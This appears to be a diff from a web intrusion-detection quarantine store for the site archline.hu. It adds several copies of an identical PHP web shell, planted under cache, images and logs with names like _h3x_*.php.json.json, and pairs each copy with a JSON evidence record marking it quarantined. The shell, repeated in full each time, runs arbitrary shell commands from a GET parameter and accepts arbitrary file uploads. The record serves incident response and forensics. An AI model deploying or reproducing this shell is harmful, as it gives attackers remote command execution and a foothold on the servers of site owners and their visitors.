|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_kgo3v2ap.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3123",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_qrl0utnk.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_qrl0utnk.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857960,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_qrl0utnk.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3119",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_suwbbwff.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_suwbbwff.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838206,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_suwbbwff.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3118",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_xwl185f0.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_xwl185f0.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861964,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_xwl185f0.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
8
var/www/hosting/archline.hu/www/images/2017/ch.txt
Normal file
8
var/www/hosting/archline.hu/www/images/2017/ch.txt
Normal file
File diff suppressed because one or more lines are too long
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3515",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/2017/ch.txt -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/2017/ch.txt)",
|
||||||
|
"original_sha256": "f967b3425b2c080584e488492715af17fc29a5f5ef9f7f27d0108dbf128ecb15",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1631683333,
|
||||||
|
"size": 12026,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/2017/ch.txt",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3510",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_3bh4rjb2.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_3bh4rjb2.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838205,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_3bh4rjb2.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3494",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_46wa7ggf.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_46wa7ggf.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857952,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_46wa7ggf.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3489",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_8r32ttzj.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_8r32ttzj.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783858323,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_8r32ttzj.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3469",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_bggl9cgz.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_bggl9cgz.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857933,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_bggl9cgz.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3509",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_s7knpv5f.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_s7knpv5f.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783861956,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_s7knpv5f.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3471",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/_h3x_zdi8lujb.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/_h3x_zdi8lujb.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838198,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/_h3x_zdi8lujb.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4795",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:logs/_h3x_9pq0ueh6.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/logs/_h3x_9pq0ueh6.php.json.json)",
|
||||||
|
